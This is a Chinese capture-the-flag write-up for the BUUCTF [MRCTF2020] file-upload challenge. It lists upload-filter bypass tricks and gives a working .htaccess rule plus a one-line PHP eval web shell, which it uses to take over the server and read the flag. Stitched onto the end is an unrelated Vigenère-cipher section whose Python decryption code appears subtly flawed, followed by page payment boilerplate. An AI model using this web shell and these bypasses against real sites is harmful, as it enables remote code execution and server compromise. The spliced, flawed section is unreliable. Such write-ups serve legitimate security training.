BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)

进入页面

文件上传漏洞,因为有些人没看过我前面的文章我再把我的总结发一下

1、前端绕过,抓包修改后缀名,

2、文件内容绕过,用图片马,抓包修改后缀绕过

3、黑名单绕过,那么我们可以改成phtml抓包绕过

4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

5、大小写绕过,抓包后修改后缀为.PHp

7、空格绕过,抓包修改后缀,在后缀后面加上空格

8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )

9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,

10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php

11、.user.ini配置文件绕过

思路要明确,不要做只会做题的做题机器,你要连接你的木马

而普通的jpg文件png文件不能连接你的木马

所以先试一试普通php文件(当然了要抓包绕过一下前端),把各种双写,大小写,空格绕过都试一遍,回显都是

只好从配置文件入手

上传你的.htaccess文件,内容是

 

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传的时候要注意改一个地方

可以发现上传成功

 

接下来就是我们的shell.jpg

内容是

 

<script language='php'>eval($_REQUEST[8]);</script>

不使用<?php eva($_REQUEST[8])?>系统很爱检测<?

然后上传我们的shell.jpg

成功.访问shell.jpg,有很多人不知道具体路径到底是什么,其实就是革除www/html

所以访问的地址就是4e2d98f5-f26c-4266-b655-de8ef2bea07f.node4.buuoj.cn:81/upload/eef153c3bd8cc752cf5c14881e095871/shell.jpg 可以看到回显是

没错,一片空白,很有希望了,因为他不再被当作jpg解析

试一下有没有连接成功,传入?8=phpinfo();

 

成功!可以去连接菜刀了成功拿到flag

 

flag在根目录,就是那个磁盘的第一层级

 flag{0a5ddaae-3ea7-413a-9744-e546c3815454}

 

### MRCTF2020 Vigenère 1 解题思路 对于MRCTF2020中的Vigenère 1题目,加密方法采用了维吉尼亚密码。通过在线工具解密给定的文本内容,能够揭示出最终的标志(flag),其形式为`mrctf{vigenere_crypto_crack_man}`[^2]。 为了成功破解此题,参与者通常会经历以下几个方面的思考: - **识别加密算法**:确认所使用的具体加密技术是维吉尼亚密码。 - **利用已知信息**:借助提供的线索或模式来推测可能的关键字长度以及部分明文字符。 - **应用适当工具**:运用专门设计用于分析和破解此类古典密码系统的软件资源辅助求解过程。 下面是一个简单的Python代码片段展示如何实现基本的维吉尼亚密码解码逻辑(假设已经知道了密钥): ```python def decrypt_vigenere(ciphertext, key): plaintext = "" key_index = 0 for char in ciphertext: shift = ord(key[key_index % len(key)]) - ord('a') decrypted_char = chr((ord(char.lower()) - ord('a') - shift) % 26 + ord('a')) plaintext += decrypted_char.upper() if char.isalpha(): key_index += 1 return plaintext ciphertext = "CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO" key = "crypto" print(decrypt_vigenere(ciphertext, key)) ``` 这段程序定义了一个名为`decrypt_vigenere()` 的函数,它接收两个参数——被加密的消息(`ciphertext`) 和用来解密它的密钥 (`key`). 函数内部实现了基于字母表循环位移原理的标准维吉尼亚解密流程.
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值